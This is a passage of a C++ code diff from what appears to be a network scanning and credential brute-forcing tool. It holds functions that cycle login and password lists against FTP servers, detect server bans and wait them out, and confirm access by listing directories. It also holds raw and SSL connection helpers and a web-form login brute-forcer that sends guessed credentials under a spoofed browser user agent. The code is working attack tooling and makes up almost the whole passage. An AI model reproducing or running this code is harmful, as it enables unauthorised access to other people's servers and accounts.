if(strstri(recvBuff, "only anonymous") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); +#pragma endregion + strcpy(lps.login, "anonymous"); + strcpy(lps.pass, "1"); + return lps; + }; + + if(strstr(recvBuff, "550 no connections allowed") != NULL + || strstr(recvBuff, "550-") != NULL + ) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); +#pragma endregion + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(recvBuff, "no such command")) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); + strcpy(lps.other, "[500 Sorry, no such command]"); + return lps; + }; + + if((strstr(recvBuff, "500 ") != NULL + || strstr(recvBuff, "500-") != NULL + ) + && strstri(recvBuff, "500 oops") == NULL + ) + { + j = 0; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) + { + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) + { + ++i; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + + if((strstr(recvBuff, "530 Sorry") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL + || strstr(recvBuff, "from this IP") != NULL + || strstr(recvBuff, "from your IP") != NULL) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); +#pragma endregion + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + if(j > 0) --j; + ZeroMemory(recvBuff, 1024); + Sleep(30000); + break; + } + else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) + { + strcpy(request, "USER "); + if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + + ZeroMemory(request, 64); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else if(strstr(recvBuff, "530") != NULL + || strstr(recvBuff, "Login incorrect") != NULL + || strstri(recvBuff, "500 oops") != NULL + ) + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + } + else if(strstr(recvBuff, "331") != NULL) + { + if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL + || strstr(recvBuff, "Rejected--secure connection required") != NULL + ) + { + stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if(strstri(recvBuff, "permission denied") == NULL) + { + strcpy(request, "PASS "); + if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); + else + { + loginFailedFlag = 1; + ZeroMemory(recvBuff, 1024); + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + Activity += strlen(request); + ZeroMemory(request, 64); + + if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else + { + breakPassLoop = 1; + stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); + break; + }; + } + else if(strstr(recvBuff, "230") != NULL) + { + char pass[128] = {0}; + + strcpy(pass, ip); + strcat(pass, " - FTP Password found: "); + strcat(pass, loginLst[i]); + strcat(pass, ":"); + strcat(pass, passLst[j]); + + char recvBuff2[2048] = {0}; + if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) + { + int x = 1, xx = 0; + while(x != 0) + { + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 512, gTimeOut + 5, &bTO); + xx += x; + if(xx < 1536) strncat(recvBuff2, recvBuff, x); + else break; + }; + + if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) + { + stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + strcpy(lps.other, "ROUTER"); + OnLiner = 0; + return lps; + }; + +#pragma region Get pasv Port + char *ptr0 = strstr(recvBuff2, "227 "); + if( ptr0 != NULL ) + { + if(strstr(ptr0, "(") != NULL) + { + char pasvData[32] = {0}; + char *ptr1 = strstr(ptr0, "("); + char *ptr2 = strstr(ptr0, ")"); + int sz = ptr2 - ptr1 - 1; + strncpy(pasvData, ptr1 + 1, sz); + char *ptr3 = strstr(pasvData, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + + if(ptr3 != NULL) + { + char *ptrP2 = strstr(ptr3 + 1, ","); + char p1c[8] = {0}; + sz = ptrP2 - ptr3 - 1; + strncpy(p1c, ptr3 + 1, sz); + int p1 = atoi(p1c); + int p2 = atoi(ptrP2 + 1); + port = p1 * 256 + p2; + + sockAddr.sin_port = htons(port); + SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sockFTP, "LIST\r\n", 6, 0); + + ZeroMemory(recvBuff, sizeof(recvBuff)); + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + send(sockFTP, "MLSD\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + closedSocket = 1; + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + + shutdown(newSockFTP, SD_BOTH); + closesocket(newSockFTP); + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; +#pragma endregion + + if(xx > 1) + { + strcpy(ps->headr, "
 (");
+								strncat(ps->headr, recvBuff, 256);
+								strcat(ps->headr, ")
"); + }; + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + return lps; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + return lps; + }; + }; + }; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, 1024); + } + else + { + char err[128] = {0}; + + int WSAerr; + if(connectionResult == -1) WSAerr = WSAGetLastError(); + else WSAerr = 10060; + + if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + { + strcpy(err, "[FTPBrute] Cannot connect to "); + strcat(err, ip); + strcat(err, " ["); + strcat(err, std::to_string((long double)WSAerr).c_str()); + strcat(err, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(err)); +#pragma endregion + }; + + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + Sleep(100); + + if(breakPassLoop) + { + breakPassLoop = false; + break; + }; + }; + }; + shutdown(sockFTP, SD_BOTH); + closesocket(sockFTP); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + BConInc(); + lps = _FTPBrute(ip, port, ps); + BConDec(); + + return lps; +}; +int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + SSL *ssl = NULL; + int bytes = 0; + char *recvBuff2 = 0; + int resCode = 0; + SOCKET sock; + + SSL_CTX *ctx = InitCTX(); + if(ctx != NULL) + { + resCode = OpenConnection(&sock, iph, porth); + if(resCode >= 0) + { + ssl = SSL_new(ctx); /* create new SSL connection state */ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, requesth, strlen(requesth)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); + + int x = 256; + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + while (x > 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + if(x <= 0) break; + + bytes += x; + Activity += x; + + if( bytes > RECV_MAX_LENGTH ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + } + else break; + }; + if(globalScanFlag == true) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + strcat(recvBuff2, recvBuff); + } + else + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); + CSTR->lowerBuff = new char[12]; + strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); + + CSTR->size = 11; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + }; + }; + }; + + if(bytes < 0) + { + stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); + }; + + SSL_free(ssl); + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + + if(bytes == 0 || recvBuff2 == NULL) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return -1; + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); + CSTR->lowerBuff = new char[bytes + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + + strncpy(CSTR->lowerBuff, recvBuff2, bytes); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSTR->size = bytes; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + delete[] recvBuff2; + recvBuff2 = NULL; + shutdown(sock, SD_BOTH); + closesocket(sock); /* close socket */ + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + }; + }; + return -1; +}; +int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + return _sslConnectTo(iph, porth, requesth, CSTR); +}; +void __deleteExcessiveNullBytes(char *buff, int sz) +{ + int j = 0; + for(int i = 0; i < sz - 1; ++i) + { + if(buff[i] != 0) buff[j++] = buff[i]; + }; +}; +struct linger linger = { 0 }; +int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *CSTR, int force) +{ + CSTR->lowerBuff = NULL; + if(strlen(ip) == 0) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + int recvBuffSize = 0; + char *recvBuff2 = NULL; + char request[2049] = {0}; + strcpy(request, requesth); + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + }; + return -1; + + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + if(mode != 1) + { + ++offlines; + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + return -1; + } + else + { + ++offlines; + return -1; + }; + }; +#endif + + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + while(sock == INVALID_SOCKET) + { + char temp[64] = {0}; + strcpy(temp, "Cannot create socket - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(500); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + }; + + int iiError = WSAGetLastError(); + while(iiError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iiError = WSAGetLastError(); + }; +#if defined(WIN32) + u_long FAR cmd = 1; + if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) +#else + u_long cmd = 1; + if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) +#endif + { + char temp[64] = {0}; + strcpy(temp, "Error setting non-blocking mode - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + + + int on = 1; + int status = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on)); + + linger.l_onoff = 1; + linger.l_linger = 30; + status = setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + + int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + if(iResult == SOCKET_ERROR) + { + iError = WSAGetLastError(); + while(iError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + iError = WSAGetLastError(); + }; + if(iError == 10035) + { + fd_set read_fs; + FD_ZERO(&read_fs); + FD_SET(sock, &read_fs); + timeval tv = { gTimeOut, 0 }; + + int res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + FD_CLR(sock, &read_fs); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + res2 = WSAGetLastError(); + if(res2 == 10038) continue; + FD_SET(sock, &read_fs); + res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + cErrCode = WSAGetLastError(); + }; + + if (res2 == SOCKET_ERROR) + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "[Omitting IP!] Select error - "); + strcat(temp, std::to_string((long double)cErrCode).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, ";"); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + } + else + { + if (!res2) + { + ++offlines; + } + else + { + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + cmd = 0; + Lexems fd; + int x = 256; + char recvBuff[4096] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + int bTO; + while (x > 0) + { + ZeroMemory(recvBuff, 4096); + x = recvWT(sock, recvBuff, 4096, gTimeOut, &bTO); + if(x <= 0) break; + + Activity += x; + recvBuffSize += x; + + if( recvBuffSize > RECV_MAX_LENGTH ) + { + //if(strstri(recvBuff2, "http/1.") == NULL) + //{ + delete[] recvBuff2; + recvBuff2 = NULL; + + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + return 0; + //} + //else break; + }; + if(globalScanFlag == true || force) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + + strncat(recvBuff2, recvBuff, x); + if((strstr(recvBuff, "220") || strstr(recvBuff, "500 'GET':")) && port == 21) + { + break; + }; + + if(strstri(recvBuff, "220 FTP server ready") != NULL + || strstri(recvBuff, "220 DiskStation FTP server ready") != NULL + || strstri(recvBuff, "500 'GET': command not understood") != NULL + ) + { + delete[] recvBuff2; + recvBuff2 = NULL; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + + CSTR->lowerBuff = new char[recvBuffSize + 1]; + strcpy(CSTR->lowerBuff, recvBuff); + CSTR->size = recvBuffSize; + return 0; + }; + }; + }; + }; + } + else + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "Send error! - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + }; + }; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + ++offlines; + char temp[128] = {0}; + int err = iError; + GlobalWSAErr = err; + if(err == 10055) + { + strcpy(temp, "-Connection pool depleted- "); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SOCKERR 10055] " + QString(temp) + QString(ip) + ":" + QString::number(port)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(60000); + } + else if(err == 10049) + { + strcpy(temp, "[ADDR_NOT_AVAIL - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + strcpy(temp, "[Unpredictable error - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; + }; + } + else + { + char temp[128] = {0}; + strcpy(temp, "[?!] Strange behavior detected - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + + if( globalScanFlag == false && force == 0) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + + return -1; + }; + + if(recvBuff2 != NULL && recvBuffSize > 0) + { + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > recvBuffSize) recvBuffSize = strlen(recvBuff2); + CSTR->lowerBuff = new char[recvBuffSize + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = recvBuffSize; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + memset(CSTR->lowerBuff + (recvBuffSize), '\0', 1); + + delete []recvBuff2; + recvBuff2 = NULL; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; +}; + +#pragma region WF +lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + + char b[16] = {0}; + char request[2048] = {0}; + char argData[256] = {0}; + char recvBuffer[65536] = {0}; + + Connector con; + conSTR CSTR; + int cRes; + int firstCycle = 0; + if(strstri(methodVal, "get") != NULL) + { + int passCounter = 1; + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = firstCycle; j < MaxWFPass; ++j) + { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(request, "GET "); + strcat(request, actionVal); + strcat(request, "?"); + strcat(request, userVal); + strcat(request, "="); + strcat(request, wfLoginLst[i]); + strcat(request, "&"); + strcat(request, passVal); + strcat(request, "="); + strcat(request, wfPassLst[j]); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0"); + strcat(request, "\r\n\r\n"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "501 not implemented") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(i == 0) ++i; + ZeroMemory(request, 2048); + }; + firstCycle = 1; + }; + } + else if(strstri(methodVal, "post") != NULL) + { + int passCounter = 1; + int firstCycle = 0; + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = firstCycle; j < MaxWFPass; ++j) 